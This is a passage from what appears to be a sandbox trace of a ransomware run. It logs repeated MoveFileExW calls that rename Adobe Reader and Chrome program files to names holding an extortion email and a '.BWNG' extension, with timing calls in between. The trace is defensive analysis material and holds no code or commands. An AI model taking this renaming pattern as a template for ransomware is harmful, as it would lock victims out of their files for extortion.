10.0\\Reader\\Locale\\ru_RU\\SaveAsRTF.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\saveasrtf.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].Ct92408t-PQhCOW7t.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].ct92408t-pqhcow7t.bwng"), dwFlags=0x1) returned 1 [0103.294] GetTickCount () returned 0x1161881 [0103.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24524579669) returned 1 [0103.294] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr96.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr96.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].7TZEbkiN-An13FFAH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].7tzebkin-an13ffah.bwng"), dwFlags=0x1) returned 1 [0103.295] GetTickCount () returned 0x1161881 [0103.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24524728524) returned 1 [0103.295] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].lAsTHlDX-vEn7mZPq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].lasthldx-ven7mzpq.bwng"), dwFlags=0x1) returned 1 [0103.296] GetTickCount () returned 0x1161881 [0103.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24524867538) returned 1 [0103.297] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].ezsjLOtV-WjOv4PN5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ezsjlotv-wjov4pn5.bwng"), dwFlags=0x1) returned 1 [0103.298] GetTickCount () returned 0x1161881 [0103.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24524997581) returned 1 [0103.298] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].6PPrUOEf-j3y9jLqt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].6ppruoef-j3y9jlqt.bwng"), dwFlags=0x1) returned 1 [0103.299] GetTickCount () returned 0x1161881 [0103.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24525127405) returned 1 [0103.299] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Multimedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\multimedia.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].U2smOjhZ-U1VAkX3q.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].u2smojhz-u1vakx3q.bwng"), dwFlags=0x1) returned 1 [0103.300] GetTickCount () returned 0x1161881 [0103.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24525240145) returned 1 [0103.300] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\[billwong73@yahoo.com].bY0aWwAF-Y0gSiHMu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\[billwong73@yahoo.com].by0awwaf-y0gsihmu.bwng"), dwFlags=0x1) returned 1 [0103.302] GetTickCount () returned 0x1161881 [0103.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24525591909) returned 1 [0103.304] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\[billwong73@yahoo.com].KPDfGD4B-XrkTfQAJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\[billwong73@yahoo.com].kpdfgd4b-xrktfqaj.bwng"), dwFlags=0x1) returned 1 [0103.305] GetTickCount () returned 0x1161890 [0103.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24525728261) returned 1 [0103.305] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].0hWQ3TdT-sqzuLTmK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].0hwq3tdt-sqzultmk.bwng"), dwFlags=0x1) returned 1 [0103.306] GetTickCount () returned 0x1161890 [0103.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24525860041) returned 1 [0103.307] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].OrWFxtv9-6mkPUMw0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].orwfxtv9-6mkpumw0.bwng"), dwFlags=0x1) returned 1 [0103.308] GetTickCount () returned 0x1161890 [0103.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24525980842) returned 1 [0103.308] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].adidMIQw-Nng2PYci.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].adidmiqw-nng2pyci.bwng"), dwFlags=0x1) returned 1 [0103.313] GetTickCount () returned 0x1161890 [0103.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24526480506) returned 1 [0103.313] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].LHC1zI7r-y7Cs4qWS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].lhc1zi7r-y7cs4qws.bwng"), dwFlags=0x1) returned 1 [0103.314] GetTickCount () returned 0x1161890 [0103.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24527959027) returned 1 [0103.573] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].IQkvguWx-OdWNUkdN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].iqkvguwx-odwnukdn.bwng"), dwFlags=0x1) returned 1 [0104.038] GetTickCount () returned 0x1161b6d [0104.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24599066683) returned 1 [0104.039] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].fKY3m4xp-tpm1dmwY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].fky3m4xp-tpm1dmwy.bwng"), dwFlags=0x1) returned 1 [0104.041] GetTickCount () returned 0x1161b6d [0104.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24599308561) returned 1 [0104.041] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\external_extensions.json"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].NYhmq1Oh-kdM9z4G0.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\[billwong73@yahoo.com].nyhmq1oh-kdm9z4g0.bwng"), dwFlags=0x1) returned 1 [0104.043] GetTickCount () returned 0x1161b6d [0104.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24599496418) returned 1 [0104.043] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].9rGnpR3a-9EsFHWkZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].9rgnpr3a-9esfhwkz.bwng"), dwFlags=0x1) returned 1 [0104.240] GetTickCount () returned 0x1161c38 [0104.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24619251105) returned 1 [0104.241] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].Vo249yeH-yseqLi7o.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].vo249yeh-yseqli7o.bwng"), dwFlags=0x1) returned 1 [0104.242] GetTickCount () returned 0x1161c38 [0104.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24619444760) returned 1 [0104.242] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].fl2eS4yO-Q28bYanO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].fl2es4yo-q28byano.bwng"), dwFlags=0x1) returned 1 [0104.355] GetTickCount () returned 0x1161ca5 [0104.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24630705274) returned 1 [0104.355] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\[billwong73@yahoo.com].FP0Abumt-SD9Tl8Td.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\[billwong73@yahoo.com].fp0abumt-sd9tl8td.bwng"), dwFlags=0x1) returned 1 [0104.357] GetTickCount () returned 0x1161ca5 [0104.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24630884051) returned 1 [0104.357] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\[billwong73@yahoo.com].PAJmSx1w-yxTtIYWe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\[billwong73@yahoo.com].pajmsx1w-yxttiywe.bwng"), dwFlags=0x1) returned 1 [0104.507] GetTickCount () returned 0x1161d41 [0104.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24645878981) returned 1 [0104.507] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].KAHsAFzL-sDcdMO2E.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].kahsafzl-sdcdmo2e.bwng"), dwFlags=0x1) returned 1 [0104.509] GetTickCount () returned 0x1161d41 [0104.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24646082627) returned 1 [0104.509] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\[billwong73@yahoo.com].81ibKUFE-UioSHvf3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\[billwong73@yahoo.com].81ibkufe-uioshvf3.bwng"), dwFlags=0x1) returned 1 [0104.686] GetTickCount () returned 0x1161ded [0104.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24663816437) returned 1 [0104.686] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\[billwong73@yahoo.com].l9yae9l2-3Fi0YS95.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\[billwong73@yahoo.com].l9yae9l2-3fi0ys95.bwng"), dwFlags=0x1) returned 1 [0104.903] GetTickCount () returned 0x1161ec7 [0104.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24685502172) returned 1 [0104.903] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\et.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].nDCSMx3B-rw7NnkMl.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ndcsmx3b-rw7nnkml.bwng"), dwFlags=0x1) returned 1 [0104.904] GetTickCount () returned 0x1161ec7 [0104.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24685666102) returned 1 [0104.905] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\id.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].sMZvt0yR-n1PGTO0m.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].smzvt0yr-n1pgto0m.bwng"), dwFlags=0x1) returned 1 [0104.906] GetTickCount () returned 0x1161ec7 [0104.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24685809423) returned 1 [0104.906] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\nb.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].PZJ9edK7-0xtHyMzP.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].pzj9edk7-0xthymzp.bwng"), dwFlags=0x1) returned 1 [0105.137] GetTickCount () returned 0x1161fb1 [0105.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24708918501) returned 1 [0105.137] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sv.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].qkh5ltHn-abVCpezX.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].qkh5lthn-abvcpezx.bwng"), dwFlags=0x1) returned 1 [0105.139] GetTickCount () returned 0x1161fb1 [0105.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24709091004) returned 1 [0105.139] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].r0sP2BcO-ITYWaIMY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].r0sp2bco-itywaimy.bwng"), dwFlags=0x1) returned 1 [0105.140] GetTickCount () returned 0x1161fb1 [0105.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24709273208) returned 1 [0105.141] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].AcCEl95T-0npAwRbn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].accel95t-0npawrbn.bwng"), dwFlags=0x1) returned 1 [0105.143] GetTickCount () returned 0x1161fb1 [0105.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24709522491) returned 1 [0105.143] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Jc74PiL1-yG2B70PC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].jc74pil1-yg2b70pc.bwng"), dwFlags=0x1) returned 1 [0105.145] GetTickCount () returned 0x1161fc1 [0105.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24709679257) returned 1 [0105.145] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].N2qp3RWz-MRiaXWrw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].n2qp3rwz-mriaxwrw.bwng"), dwFlags=0x1) returned 1 [0105.146] GetTickCount () returned 0x1161fc1 [0105.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24709818665) returned 1 [0105.146] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz40.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz40.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].nNbgKKjz-AvgMjiY5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].nnbgkkjz-avgmjiy5.bwng"), dwFlags=0x1) returned 1 [0105.147] GetTickCount () returned 0x1161fc1 [0105.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24709958171) returned 1 [0105.148] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].kOYDYGSI-gXRRfLYj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].koydygsi-gxrrflyj.bwng"), dwFlags=0x1) returned 1 [0105.149] GetTickCount () returned 0x1161fc1 [0105.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710115691) returned 1 [0105.149] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].1CRxe5mX-rqNhTaA2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].1crxe5mx-rqnhtaa2.bwng"), dwFlags=0x1) returned 1 [0105.150] GetTickCount () returned 0x1161fc1 [0105.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710244919) returned 1 [0105.150] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut102.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut102.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].BSdTfZHa-rRnBQpJ4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].bsdtfzha-rrnbqpj4.bwng"), dwFlags=0x1) returned 1 [0105.151] GetTickCount () returned 0x1161fc1 [0105.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710375580) returned 1 [0105.152] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Kw0RKVJd-cdrzpOX6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].kw0rkvjd-cdrzpox6.bwng"), dwFlags=0x1) returned 1 [0105.153] GetTickCount () returned 0x1161fc1 [0105.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24710497552) returned 1 [0105.153] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files 